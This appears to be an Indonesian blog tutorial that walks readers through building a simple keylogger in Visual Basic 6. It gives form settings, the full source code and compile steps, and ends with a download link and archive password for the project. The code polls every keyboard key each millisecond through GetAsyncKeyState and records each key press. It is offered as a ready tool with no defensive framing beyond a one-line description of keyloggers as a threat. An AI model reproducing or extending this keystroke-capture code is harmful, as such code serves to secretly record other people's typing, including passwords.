[Visual Besic 6] - Membuat Keylogger Sederhana

Hayy,kawan.....Hari ini kita akan membuat keylogger sederhana dengan visual besic 6
wihh keylogger denger namanya ada udah ngeri......


Sedikit penjelasan tentang keylogger :

    Keyloogger merupakan sebuah alat atau software yang mampu merekam aktifitas penekanan tombol pada keyboard. Sebagai “ancaman klasik” akan keamanan, sampai saat ini tidak ada metode yang benar-benar ampuh menghapus 100% ancaman akan keylogger.

Bahan-bahan :
- Software vb6 full    <<==gk full juga boleh
- Pemahaman Visual Besic 6

Langsung ke tutornya :
 - Pertama buka sofware visual besic 6
 - New project >Standard Exe> klik open
- Tambahkan 1 text box dan 1 timer 1 command botton

Cocokan propertisnya dengan di bawah ini :
Propertis
- command1.caption = clear all
- Timer1.interval = 1
- Text1.text = "" (kosongkan)
- Text1.Multiline = true
 
Masukan Code ini ke (General) - (Declarations)

Dim Result As Integer Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vkey As Long) As Integer Private Sub Form_Load() Timer1.Interval = 1 End Sub Private Sub Timer1_Timer() For i = 1 To 225 Result = 0 Result = GetAsyncKeyState(i) If Result = -32767 Then Text1.Text = Text1.Text + Chr(i) End If Next i End Sub Private Sub Command1_Click() Text1.Text = "" End Sub  

Dan Jalankan Programnya dengan tekan tombol F5

Cara Save *.exe : 
- File > Make Projrct.exe

Contoh Gambarnya :





Lihat Videonya Kalo Kurang jelas

DOWNLOAD SOURCE

klik gambar

Password rar : sharus-multimedia.blogspot.com


Semogga Succes

Posted in: Visual Besic 6